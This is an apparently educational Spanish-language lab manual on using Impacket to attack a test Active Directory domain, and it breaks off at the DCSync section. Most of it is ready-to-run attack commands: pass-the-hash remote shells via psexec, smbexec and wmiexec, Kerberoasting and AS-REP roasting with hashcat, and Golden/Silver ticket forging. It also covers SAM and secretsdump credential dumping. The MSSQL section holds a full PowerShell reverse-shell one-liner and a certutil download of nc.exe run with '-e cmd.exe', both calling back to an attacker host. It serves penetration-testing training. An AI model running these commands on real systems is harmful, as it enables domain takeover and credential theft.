GhostAcademy
Ghost AcademySecLearn// IMPACKET LAB
⚔ LABORATORIO OFENSIVO — SOLO ENTORNOS AUTORIZADOS
Impacket
Suite Python para Protocolos Microsoft
SMB · WMI · Kerberos · MSSQL · NTLM · Pass-the-Hash · DCSync · ZeroLogon · GhostAcademy
ImpacketSMBWMIKerberosPass-the-HashDCSyncKerberoastingGolden TicketZeroLogonNTLM RelayOSCPActive Directory
12HERRAMIENTAS
40+COMANDOS
9EJERCICIOS
🔧
¿Qué es Impacket?
La suite Python fundamental para protocolos Microsoft en auditorías AD

Impacket es una colección de clases Python de código abierto desarrollada por Core Security (ahora mantenida por la comunidad en Fortra/SecureAuth) que implementa desde cero una variedad de protocolos de red de Microsoft: SMB, MSRPC, LDAP, NTLM, Kerberos, MSSQL, WMI, y muchos más. Es la suite más fundamental del ecosistema de auditoría de Active Directory.

A diferencia de herramientas como NetExec que usan Impacket internamente, aquí trabajamos directamente con los scripts individuales de la suite, lo que da un control mucho más granular sobre cada protocolo y permite entender exactamente qué ocurre a nivel de red.

Impacket es el motor bajo el capó de NetExec, BloodHound, Responder y docenas de otras herramientas de seguridad. Entender Impacket directamente es fundamental para certificaciones como OSCP, PNPT, CRTP y CRTO.

⚠ USO EXCLUSIVAMENTE EN ENTORNOS AUTORIZADOSTodos los ejercicios de este manual deben realizarse en laboratorios propios con máquinas virtuales bajo tu control, o en entornos donde tengas permiso escrito explícito de auditoría. El uso de estas técnicas contra sistemas reales sin autorización es ilegal.
📂SMBsmbclient, smbexec, psexec, secretsdump
⚙WMI / DCOMwmiexec, dcomexec
🔐KerberosGetUserSPNs, GetNPUsers, ticketer
📊MSSQLmssqlclient, xp_cmdshell
🔌NTLMntlmrelayx, PtH en todos los scripts
📊LDAPldapdomaindump, GetADUsers
🧰Volcadosecretsdump: SAM, LSA, NTDS
🛠RPCrpcclient, samrdump, lookupsid
⚙
Instalación y Configuración
Instalar Impacket y entender la sintaxis de autenticación común
Instalar Impacket
# En Kali Linux (ya viene preinstalado en /usr/share/doc/python3-impacket/examples/): ls /usr/share/doc/python3-impacket/examples/ # Instalar la version mas reciente desde PyPI: pip3 install impacket # O con pipx (entorno aislado): pipx install impacket # Desde GitHub (version mas reciente con todos los scripts): git clone https://github.com/fortra/impacket.git cd impacket pip3 install . # Los scripts quedan en: ls impacket/examples/ # Verificar: python3 examples/smbclient.py --help
📌 RUTAS DE LOS SCRIPTS EN KALIEn Kali Linux los scripts de Impacket están en /usr/share/doc/python3-impacket/examples/ o accesibles directamente como comandos del sistema: impacket-psexec, impacket-secretsdump, impacket-smbexec, etc.
Sintaxis comun de autenticacion en Impacket
# Impacket usa el formato DOMINIO/usuario:contrasena@IP en todos los scripts # Con contrasena en texto: python3 psexec.py CONTOSO/jdoe:Password123@192.168.56.10 # Con hash NT (Pass-the-Hash): LMhash:NThash python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10 # Solo con NT hash (LM vacio): python3 psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' CONTOSO/Admin@IP # Con ticket Kerberos (ccache): export KRB5CCNAME=/tmp/admin.ccache python3 psexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local # Con cuenta local (no de dominio): python3 smbexec.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20'
📊ENTORNO DE LABORATORIO
HostIPRolSO
KALI192.168.56.5AtacanteKali Linux
DC01192.168.56.10Domain ControllerWindows Server 2019
WS01192.168.56.20WorkstationWindows 10
SQL01192.168.56.30SQL ServerWindows Server 2019

Todos en la misma Red Interna de VirtualBox (intnet-lab). Dominio: CONTOSO.LOCAL. Para un lab AD completo y gratuito: GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD

📚
Catálogo Completo de Herramientas Impacket
Todos los scripts disponibles con su protocolo y función
ScriptProtocoloFunción principalEquivalente CMD Windows
psexec.pySMB / RPCShell interactiva como SYSTEM vía servicioPSExec de Sysinternals
smbexec.pySMBEjecución de comandos vía servicio temporalsc.exe
wmiexec.pyWMI / DCOMEjecución remota sin escribir servicioswmic.exe
dcomexec.pyDCOMEjecución via objetos COM remotos-
atexec.pyTask Scheduler / SMBEjecución via tarea programadaat.exe / schtasks.exe
smbclient.pySMBCliente de recursos compartidosnet use, dir \\host\share
secretsdump.pySMB / DRSRVolcar SAM, LSA, NTDS via DCSync-
mssqlclient.pyTDS (MSSQL)Cliente SQL con xp_cmdshellsqlcmd.exe
GetUserSPNs.pyKerberos / LDAPKerberoasting: obtener TGS de cuentas de servicio-
GetNPUsers.pyKerberos (AS-REP)AS-REP Roasting: cuentas sin pre-auth-
ticketer.pyKerberosForjar Golden/Silver Tickets-
ntlmrelayx.pyNTLM / SMB / HTTPRelay de autenticación NTLM-
rpcclient.pyMSRPCEnumeración via RPCrpcclient
samrdump.pySAMR (RPC)Enumerar usuarios del dominio sin credenciales (a veces)net user /domain
lookupsid.pyLSARPCEnumerar SIDs y usuarios-
GetADUsers.pyLDAPEnumerar usuarios de Active DirectoryGet-ADUser
addcomputer.pyLDAP / SAMRAñadir equipo al dominionetdom add
reg.pyWINREG (RPC)Leer/escribir el registro de Windows remotamentereg.exe
📂
smbclient.py — Cliente SMB
Navegar y transferir archivos en recursos compartidos Windows
01
smbclient.py
Protocolo: SMB 445/TCP
Cliente interactivo de recursos compartidos SMB
SMB CLIENT

smbclient.py es el equivalente al cliente SMB de Linux pero implementado en Python puro. Permite navegar, listar, descargar y subir archivos a recursos compartidos Windows sin necesidad de montar el share en el sistema local. Soporta Pass-the-Hash nativamente.

1
Listar recursos compartidos disponiblesENUMERACIÓN
Listar shares con smbclient.py
# Listar todos los shares de un host: python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10 # smbclient> shares # Listar directamente sin modo interactivo: python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10 -no-pass -k # Con Pass-the-Hash: python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10
2
Navegar, descargar y subir archivosOPERACIONES DE ARCHIVO
Comandos del cliente SMB interactivo
# Una vez dentro del cliente interactivo: # Listar shares disponibles: smbclient> shares # Conectar a un share especifico: smbclient> use C$ # Listar archivos del directorio actual: smbclient> ls smbclient> ls Windows\System32\ # Cambiar de directorio: smbclient> cd Users\Administrator\Desktop # Descargar un archivo: smbclient> get secreto.txt smbclient> get contrasenas.xlsx # Subir un archivo: smbclient> put payload.exe Temp\payload.exe # Salir: smbclient> exit
3
Escenario forense: extraer archivos de interesFORENSE
Extraer artefactos remotamente sin montar el share
# Extraer SAM y SYSTEM para analisis offline: python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 smbclient> use C$ smbclient> cd Windows\System32\config smbclient> get SAM smbclient> get SYSTEM smbclient> get SECURITY smbclient> exit # Extraer Event Logs: smbclient> use C$ smbclient> cd Windows\System32\winevt\Logs smbclient> get Security.evtx smbclient> get System.evtx
❓ Ejercicio práctico
Conectate al share C$ del Domain Controller usando Pass-the-Hash y localiza el archivo NTDS.dit. ¿En qué ruta está?
💡 Pista: El NTDS.dit está en C:\Windows\NTDS\ en el DC.
Ver solución
smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.10 --- smbclient> use C$ --- smbclient> cd Windows\NTDS --- smbclient> ls --- El archivo NTDS.dit esta ahi pero no puede copiarse directamente (en uso). Para extraerlo se usa secretsdump.py o una shadow copy.
🛠
smbexec.py — Ejecución SMB
Shell remota via servicio temporal de Windows
02
smbexec.py
Protocolo: SMB 445/TCP + SVCCTL
Ejecución de comandos creando un servicio temporal — menos ruidoso que psexec
SMB EXEC

smbexec.py crea un servicio de Windows temporal para ejecutar comandos remotamente. A diferencia de psexec, no sube ningún archivo al host remoto: ejecuta directamente a través del servicio y redirige stdout/stderr via un archivo compartido. Esto lo hace más sigiloso que psexec pero sigue creando un servicio efimero que los EDRs pueden detectar.

1
Shell interactiva con smbexecACCESO
smbexec.py: shell interactiva
# Shell con contrasena: python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Shell con Pass-the-Hash: python3 smbexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # Con cuenta local: python3 smbexec.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20' # Los comandos se ejecutan como SYSTEM: # C:\Windows\system32> whoami # nt authority\system # C:\Windows\system32> hostname
2
Ejecutar comando especifico sin shell interactivaCOMANDO UNICO
Ejecutar un comando especifico con smbexec
# Ejecutar un comando y salir: python3 smbexec.py -hashes ':NTHASH' \ CONTOSO/Administrator@192.168.56.20 \ 'cmd /c whoami /all > C:\Windows\Temp\result.txt' # Ver el resultado: python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 smbclient> use C$ smbclient> get Windows\Temp\result.txt
💡 smbexec ejecuta los comandos como NT AUTHORITY\SYSTEM, el nivel de privilegio mas alto en Windows. Esto lo hace extremadamente potente en un pentest pero tambien muy detectable: la creacion de un servicio efimero genera Event ID 7045 en el System Event Log.
❓ Ejercicio práctico
Usa smbexec.py para ejecutar el comando net user /domain en el Domain Controller y obtener la lista de usuarios del dominio. ¿Qué usuarios ves?
💡 Pista: Conecta al DC01 (192.168.56.10) con credenciales de admin de dominio.
Ver solución
python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10 --- C:\> net user /domain --- Verás todos los usuarios del dominio. Event ID 7045 queda registrado en el System log del DC.
🔴
psexec.py — Shell SYSTEM via SMB
El método clásico de ejecución remota de Impacket
03
psexec.py
Protocolo: SMB 445/TCP + RPC
Shell interactiva completa vía servicio y named pipe — el clásico de Impacket
PSEXEC

psexec.py es el script más conocido de Impacket. Replica el comportamiento de PsExec de Sysinternals: sube un ejecutable al share ADMIN$, lo registra como servicio, establece comunicación vía named pipe SMB y proporciona una shell interactiva completa. El ejecutable se elimina automáticamente al salir. Es muy ruidoso: genera varios Event IDs y deja el archivo en disco brevemente.

1
Shell interactiva con psexecACCESO
psexec.py: shell SYSTEM interactiva
# Shell con contrasena: python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Shell con Pass-the-Hash: python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # Con dominio explicito: python3 psexec.py -dc-ip 192.168.56.10 CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Ejecutar un comando especifico y salir: python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 cmd.exe /c whoami # Una vez dentro: # Microsoft Windows [Version 10.0.17763.107] # C:\Windows\system32> whoami # nt authority\system
2
Diferencias entre metodos de ejecucionCOMPARATIVA
📊PSEXEC vs SMBEXEC vs WMIEXEC: CUÁNDO USAR CADA UNO
MétodoProtocoloPrivilegiosRuidoDeja en discoMejor para
psexec.pySMB+RPCSYSTEMMUY ALTOSi (temporal)Lab, PoC, acceso rápido
smbexec.pySMBSYSTEMALTONoSin subida de archivo
wmiexec.pyWMI/DCOMAdminMEDIONoEjecución sigilosa
dcomexec.pyDCOMAdminBAJONoMás sigiloso
atexec.pyATSVC/SMBSYSTEMMEDIONoSin conexión interactiva
💡 FORENSICA DE PSEXECpsexec.py genera los siguientes artefactos detectables: Event ID 7045 (servicio instalado), Event ID 7036 (servicio iniciado/detenido), Event ID 4688 (proceso creado: PSEXESVC.exe), y el ejecutable temporal en C:\Windows\PSEXESVC.exe. Cualquier EDR moderno lo detecta inmediatamente.
❓ Ejercicio práctico
Usa psexec.py con Pass-the-Hash para obtener una shell SYSTEM en WS01. ¿Qué archivo sube psexec al host remoto? ¿En qué ruta?
💡 Pista: Observa el output de psexec al conectar. Menciona el archivo que sube al ADMIN$.
Ver solución
python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 --- psexec.py sube un ejecutable aleatorio a C:\Windows\ (a traves del share ADMIN$) y lo registra como servicio. El nombre del archivo y servicio es aleatorio. Al salir con 'exit', se elimina automáticamente.
⚙
wmiexec.py — Ejecución vía WMI
El método de ejecución más sigiloso para uso cotidiano
04
wmiexec.py
Protocolo: WMI / DCOM 135/TCP + puertos dinámicos
Ejecución remota sin servicios — el más sigiloso para uso cotidiano
WMI EXEC

wmiexec.py usa el protocolo WMI (Windows Management Instrumentation) para ejecutar comandos remotamente. WMI es una interfaz legítima de administración de Windows, por lo que su uso es mucho más sigiloso que psexec o smbexec: no crea servicios, no sube archivos al disco, y el tráfico se mezcla con la administración legítima. Es el método preferido en pentests reales cuando se necesita balance entre funcionalidad y sigilo.

1
Shell interactiva con wmiexecACCESO
wmiexec.py: shell via WMI
# Shell interactiva con contrasena: python3 wmiexec.py CONTOSO/jdoe:Password123@192.168.56.20 # Con Pass-the-Hash: python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # Ejecutar un comando especifico sin shell interactiva: python3 wmiexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 'whoami' # Con Kerberos (ticket ccache): export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass CONTOSO/Administrator@ws01.contoso.local # Una vez dentro: # [*] SMBDomain: CONTOSO # [!] Launching semi-interactive shell - Careful what you execute # C:\>whoami # contoso\administrator # C:\>ipconfig
2
Enumeracion y pivoting con wmiexecRECONOCIMIENTO
Comandos utiles dentro de wmiexec
# Ver informacion del sistema: C:\> systeminfo C:\> hostname C:\> whoami /all # Ver usuarios locales: C:\> net user C:\> net localgroup administrators # Ver procesos en ejecucion: C:\> tasklist # Ver conexiones de red: C:\> netstat -ano # Ver shares accesibles: C:\> net share # Descargar una herramienta desde Kali (si hay conectividad): C:\> certutil -urlcache -f http://192.168.56.5/tool.exe C:\Windows\Temp\tool.exe # Ver el historial de logins recientes: C:\> wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:10 /f:text
3
Modo no-output (mas sigiloso)SIGILO
wmiexec con salida a fichero para evitar lectura via SMB
# Por defecto wmiexec lee el output via SMB share (C$) # Esto puede alertar a soluciones de monitorizacion # Alternativa: redirigir output a un archivo y leerlo despues # Ejecutar sin shell interactiva, output a archivo: python3 wmiexec.py -nooutput CONTOSO/Administrator:P@ssw0rd@192.168.56.20 \ 'whoami > C:\Windows\Temp\out.txt' # Leer el resultado via smbclient: python3 smbclient.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 smbclient> use C$ smbclient> get Windows\Temp\out.txt
❓ Ejercicio práctico
Usa wmiexec.py para ejecutar el comando ipconfig /all en WS01 y obtener su configuración de red completa sin shell interactiva.
💡 Pista: Pasa el comando directamente como argumento al final del comando wmiexec.
Ver solución
python3 wmiexec.py CONTOSO/jdoe:Password123@192.168.56.20 'ipconfig /all' --- La salida se muestra en el terminal de Kali. wmiexec no crea servicios ni sube archivos: usa WMI (Win32_Process.Create) para ejecutar el comando.
🔌
dcomexec.py — Ejecución vía DCOM
Alternativa sigilosa a wmiexec usando objetos COM remotos
05
dcomexec.py
Protocolo: DCOM 135/TCP + puertos dinámicos RPC
Ejecución vía objetos COM remotos — alternativa a wmiexec con menos logging
DCOM EXEC

dcomexec.py usa el protocolo DCOM (Distributed COM) para ejecutar comandos remotamente activando objetos COM específicos. Al igual que wmiexec, no crea servicios ni sube archivos. Soporta múltiples objetos COM con distintos niveles de logging: MMC20.Application, ShellWindows y ShellBrowserWindow.

dcomexec.py: ejecucion via objetos COM
# Con MMC20.Application (menos logging): python3 dcomexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 'whoami' # Especificar el objeto COM: python3 dcomexec.py -object MMC20 CONTOSO/Administrator:P@ssw0rd@192.168.56.20 python3 dcomexec.py -object ShellWindows CONTOSO/Administrator:P@ssw0rd@192.168.56.20 python3 dcomexec.py -object ShellBrowserWindow CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Con Pass-the-Hash: python3 dcomexec.py -hashes ':NTHASH' -object MMC20 \ CONTOSO/Administrator@192.168.56.20 'cmd /c whoami > C:\\Temp\\out.txt'
📊
mssqlclient.py — SQL Server
Cliente MSSQL con xp_cmdshell para ejecución de comandos OS
06
mssqlclient.py
Protocolo: TDS (Tabular Data Stream) 1433/TCP
Cliente SQL Server con soporte para xp_cmdshell y ejecución de comandos OS
MSSQL

mssqlclient.py es un cliente completo de SQL Server que soporta autenticación Windows (NTLM/Kerberos) y SQL. Su característica más valiosa en un pentest es que puede habilitar y usar xp_cmdshell, el procedimiento almacenado de SQL Server que permite ejecutar comandos del sistema operativo con los privilegios del proceso SQL Server (frecuentemente LocalSystem o una cuenta de servicio privilegiada).

1
Conectar a SQL ServerCONEXIÓN
Conectar a MSSQL con mssqlclient.py
# Autenticacion Windows (NTLM): python3 mssqlclient.py CONTOSO/jdoe:Password123@192.168.56.30 -windows-auth # Autenticacion SQL (usuario SA): python3 mssqlclient.py sa:SqlPassword@192.168.56.30 # Con Pass-the-Hash + autenticacion Windows: python3 mssqlclient.py -hashes ':NTHASH' -windows-auth \ CONTOSO/Administrator@192.168.56.30 # Con Kerberos: export KRB5CCNAME=/tmp/admin.ccache python3 mssqlclient.py -k -windows-auth CONTOSO/Administrator@sql01.contoso.local
2
Enumeracion y xp_cmdshellEXPLOTACIÓN
Comandos SQL y ejecucion OS via xp_cmdshell
# Enumerar bases de datos: SQL> SELECT name FROM master.sys.databases; # Enumerar tablas de una base de datos: SQL> USE NombreBD; SELECT name FROM sys.tables; # Ver el usuario SQL actual: SQL> SELECT SYSTEM_USER; SQL> SELECT IS_SRVROLEMEMBER('sysadmin'); # Habilitar xp_cmdshell (si eres sysadmin): SQL> EXEC sp_configure 'show advanced options', 1; SQL> RECONFIGURE; SQL> EXEC sp_configure 'xp_cmdshell', 1; SQL> RECONFIGURE; # Ejecutar comando del SO via xp_cmdshell: SQL> EXEC xp_cmdshell 'whoami'; SQL> EXEC xp_cmdshell 'net user'; SQL> EXEC xp_cmdshell 'net localgroup administrators'; # Alternativa automatica de Impacket: SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami
3
Obtener shell desde SQL ServerREVERSE SHELL
Reverse shell desde xp_cmdshell
# Preparar listener en Kali: nc -lvnp 4444 # Desde mssqlclient, ejecutar PowerShell para conectar: SQL> xp_cmdshell powershell -c "$c = New-Object System.Net.Sockets.TCPClient('192.168.56.5',4444);$s = $c.GetStream();$b = New-Object byte[] 65536;while(($i = $s.Read($b,0,$b.Length)) -gt 0){$d = (New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb = (iex $d 2>&1 | Out-String);$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$se = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($se,0,$se.Length);$s.Flush()};$c.Close()" # Alternativa: descargar y ejecutar un payload: SQL> xp_cmdshell certutil -urlcache -f http://192.168.56.5/nc.exe C:\Windows\Temp\nc.exe SQL> xp_cmdshell C:\Windows\Temp\nc.exe -e cmd.exe 192.168.56.5 4444
❓ Ejercicio práctico
Conectate a SQL01 con mssqlclient.py, habilita xp_cmdshell y ejecuta el comando 'net user administrator /domain'. ¿Necesitas ser sysadmin para habilitar xp_cmdshell?
💡 Pista: Verifica primero si eres sysadmin con SELECT IS_SRVROLEMEMBER('sysadmin').
Ver solución
Si IS_SRVROLEMEMBER('sysadmin') devuelve 1, si puedes habilitar xp_cmdshell. Si devuelve 0, necesitas escalar privilegios SQL primero (via impersonation, linked servers, etc.). Impacket tiene el comando 'enable_xp_cmdshell' que automatiza la habilitacion.
🔐
Kerberoasting y AS-REP Roasting
Obtener y crackear hashes de cuentas de servicio Kerberos
07
GetUserSPNs.py / GetNPUsers.py
Protocolo: Kerberos 88/TCP + LDAP 389/TCP
Kerberoasting y AS-REP Roasting para obtener hashes crackeables offline
KERBEROS ATTACKS

Impacket implementa los dos ataques de Kerberos más comunes en auditorías de Active Directory: Kerberoasting y AS-REP Roasting. Ambos obtienen hashes crackeables offline sin interacción con el DC más allá de una petición Kerberos legítima, lo que los hace muy difíciles de detectar.

🔐KERBEROASTING: GetUserSPNs.py
Kerberoasting con Impacket
# Kerberoasting: solicitar TGS de cuentas de servicio con SPN # El TGS esta cifrado con el hash NT de la cuenta de servicio -> crackeable # 1. Listar todas las cuentas con SPN (Kerberoastable): python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 # 2. Obtener los hashes TGS para crackear: python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 \ -request -outputfile kerberoast_hashes.txt # 3. Crackear con Hashcat: hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # El hash tiene el formato: # $krb5tgs$23$*svc_backup$CONTOSO.LOCAL$CONTOSO.LOCAL/svc_backup*$...
📌 QUÉ ES KERBEROASTINGCualquier usuario del dominio puede solicitar un TGS (Ticket Granting Service) para cualquier SPN. El TGS está cifrado con el hash NT de la cuenta de servicio. Si la cuenta de servicio tiene una contraseña débil, el hash se puede crackear offline con Hashcat (-m 13100) sin generar alertas adicionales.
🔐AS-REP ROASTING: GetNPUsers.py
AS-REP Roasting con Impacket
# AS-REP Roasting: cuentas sin Kerberos pre-autenticacion requerida # No necesitas credenciales validas para este ataque # 1. Buscar cuentas sin pre-auth (desde lista de usuarios): python3 GetNPUsers.py CONTOSO.LOCAL/ -dc-ip 192.168.56.10 \ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt # 2. Con credenciales validas (encuentra mas usuarios): python3 GetNPUsers.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 \ -request -format hashcat -outputfile asrep_hashes.txt # 3. Crackear con Hashcat: hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # El hash tiene el formato: # $krb5asrep$23$usuario@CONTOSO.LOCAL:...
📌 QUÉ ES AS-REP ROASTINGSi una cuenta tiene deshabilitada la opción 'Do not require Kerberos preauthentication', cualquier atacante puede solicitar un AS-REP para esa cuenta sin conocer su contraseña. El AS-REP contiene datos cifrados con el hash NT de la cuenta -> crackeable offline con Hashcat (-m 18200).
❓ Ejercicio práctico
Ejecuta GetUserSPNs.py en tu laboratorio. ¿Qué cuentas tienen SPN? Descarga el hash TGS y crackealo con hashcat y rockyou.txt.
💡 Pista: python3 GetUserSPNs.py DOMINIO/usuario:pass -dc-ip IP_DC -request
Ver solución
python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 -request -outputfile hashes.txt --- hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --- Si la cuenta de servicio tiene contrasena debil (ej: svc_backup:Summer2024!), hashcat la encuentra en segundos con rockyou.
🎫
ticketer.py — Golden y Silver Tickets
Forjar tickets Kerberos para persistencia total en el dominio
08
ticketer.py
Protocolo: Kerberos
Forjar Golden Tickets y Silver Tickets para persistencia en el dominio
TICKET FORGING
⚠ IMPACTO MUY ELEVADOLos Golden Tickets forjados con el hash de krbtgt dan acceso completo al dominio durante la vida del ticket (por defecto 10 años) aunque se cambie la contraseña de cualquier cuenta. Solo se invalidan cambiando el hash de krbtgt dos veces. Usar exclusivamente en laboratorio.

Un Golden Ticket es un TGT (Ticket Granting Ticket) Kerberos forjado con el hash NT de la cuenta krbtgt del dominio. Permite autenticarse como cualquier usuario del dominio, incluyendo el Administrador, sin necesitar la contraseña de ese usuario. Es el artefacto de persistencia más potente en AD.

Un Silver Ticket es un TGS forjado con el hash de una cuenta de servicio. Solo da acceso al servicio específico, pero no genera tráfico adicional al DC porque no necesita el TGT.

1
Obtener el hash de krbtgt (prerequisito)PREREQUISITO
Obtener el hash krbtgt con secretsdump
# Prerequisito: necesitas ser Domain Admin para obtener el hash de krbtgt # El hash se obtiene de secretsdump.py (ver siguiente seccion) # El hash krbtgt es el segundo campo de la linea krbtgt en secretsdump: # krbtgt:502:aad3b435b51404ee...:9d765b482b2678f4b4588f58d4e0d... # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # Este es el NT hash de krbtgt
2
Forjar un Golden TicketGOLDEN TICKET
ticketer.py: crear Golden Ticket
# Necesitas: # - NT Hash de krbtgt # - SID del dominio (ej: S-1-5-21-3623811015-3361044348-30300820) # Obtener el SID del dominio: python3 lookupsid.py CONTOSO/jdoe:Password123@192.168.56.10 # Buscar la linea: Domain SID is S-1-5-21-... # Forjar el Golden Ticket para el usuario Administrator (RID 500): python3 ticketer.py \ -nthash HASH_KRBTGT \ -domain-sid S-1-5-21-3623811015-3361044348-30300820 \ -domain CONTOSO.LOCAL \ Administrator # El ticket se guarda en Administrator.ccache # Usar el ticket: export KRB5CCNAME=Administrator.ccache python3 wmiexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local
3
Forjar un Silver TicketSILVER TICKET
ticketer.py: crear Silver Ticket
# Silver Ticket: para un servicio especifico # Necesitas el NT hash de la cuenta de servicio (no de krbtgt) # Forjar Silver Ticket para el servicio CIFS (SMB) en WS01: python3 ticketer.py \ -nthash HASH_CUENTA_SERVICIO \ -domain-sid S-1-5-21-3623811015-3361044348-30300820 \ -domain CONTOSO.LOCAL \ -spn cifs/ws01.contoso.local \ Administrator # Usar el Silver Ticket: export KRB5CCNAME=Administrator.ccache python3 smbclient.py -k -no-pass CONTOSO/Administrator@ws01.contoso.local
🔒
Pass-the-Hash con Impacket
Autenticación NTLM directa con hash en todos los scripts
09
Pass-the-Hash
Protocolo: NTLM (en todos los scripts de Impacket)
Usar el NT hash directamente para autenticarse sin conocer la contraseña
PASS-THE-HASH

El Pass-the-Hash (PtH) es una de las técnicas más poderosas en auditorías de Active Directory. La autenticación NTLM acepta el hash NT directamente como credencial, sin necesitar la contraseña en texto plano. Todos los scripts de Impacket soportan PtH con el parámetro -hashes.

Pass-the-Hash con todos los scripts de Impacket
# FORMATO UNIVERSAL: -hashes LMhash:NThash # El LM hash puede ser el estandar vacio: # aad3b435b51404eeaad3b435b51404ee # o simplemente dejar solo el NT hash con : delante # psexec.py: python3 psexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # smbexec.py: python3 smbexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # wmiexec.py: python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # secretsdump.py: python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # smbclient.py: python3 smbclient.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # mssqlclient.py: python3 mssqlclient.py -hashes ':NTHASH' -windows-auth CONTOSO/Administrator@192.168.56.30
🔒CALCULAR NT HASH A PARTIR DE UNA CONTRASEÑA
Calcular NT hash en Python
# NT hash = MD4(UTF-16LE(password)) python3 -c " import hashlib pwd = 'Password123' nt = hashlib.new('md4', pwd.encode('utf-16le')).hexdigest() print('NT Hash:', nt) "
❓ Ejercicio práctico
Usando el NT hash de Administrator que obtuviste de secretsdump, usa wmiexec.py para ejecutar 'net group Domain Admins /domain' en el DC. ¿Cuantos Domain Admins hay en el lab?
💡 Pista: python3 wmiexec.py -hashes ':NTHASH' CONTOSO/Administrator@DC_IP 'net group Domain Admins /domain'
Ver solución
python3 wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASH' CONTOSO/Administrator@192.168.56.10 'net group Domain Admins /domain' --- Muestra todos los miembros del grupo Domain Admins. En un lab basico suele ser solo Administrator. En entornos corporativos puede haber cuentas de servicio anadidas incorrectamente.
🧰
secretsdump.py — Volcado de Credenciales
Extraer hashes de SAM, LSA Secrets y NTDS.dit vía DCSync
10
secretsdump.py
Protocolo: SMB + DRSR (DCSync) + WINREG
Volcar SAM, LSA Secrets y NTDS.dit vía DCSync o acceso al registro
CREDENTIAL DUMP

secretsdump.py es probablemente el script más valioso de toda la suite Impacket. Puede extraer credenciales de múltiples fuentes: la base de datos SAM (cuentas locales), LSA Secrets (cuentas de servicio), y el NTDS.dit del Domain Controller vía DCSync — el método más sigiloso porque imita el proceso legítimo de replicación de AD sin tocar ningún archivo en el DC.

1
Volcar la SAM local de un equipoSAM DUMP
secretsdump.py: SAM local
# Volcar SAM de un equipo Windows (requiere admin local): python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 # Con Pass-the-Hash: python3 secretsdump.py -hashes ':NTHASH' CONTOSO/Administrator@192.168.56.20 # Con cuenta local: python3 secretsdump.py -dc-ip 192.168.56.10 './Administrator:Password@192.168.56.20' # Salida tipica: # [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) # Administrator:500:aad3b435b51404ee...:8846f7eaee8fb117...::: # Guest:501:aad3b435b51404ee...:31d6cfe0d16ae9...::: # [*] Dumping LSA Secrets # [*] $MACHINE.ACC # CONTOSO\WS01$:plain_password_hex:... # [*] DefaultPassword # CONTOSO\jdoe:Password123 <- Autologin guardada
2
DCSync: volcar todos los hashes del dominioDCSYNC
secretsdump.py: DCSync contra el Domain Controller
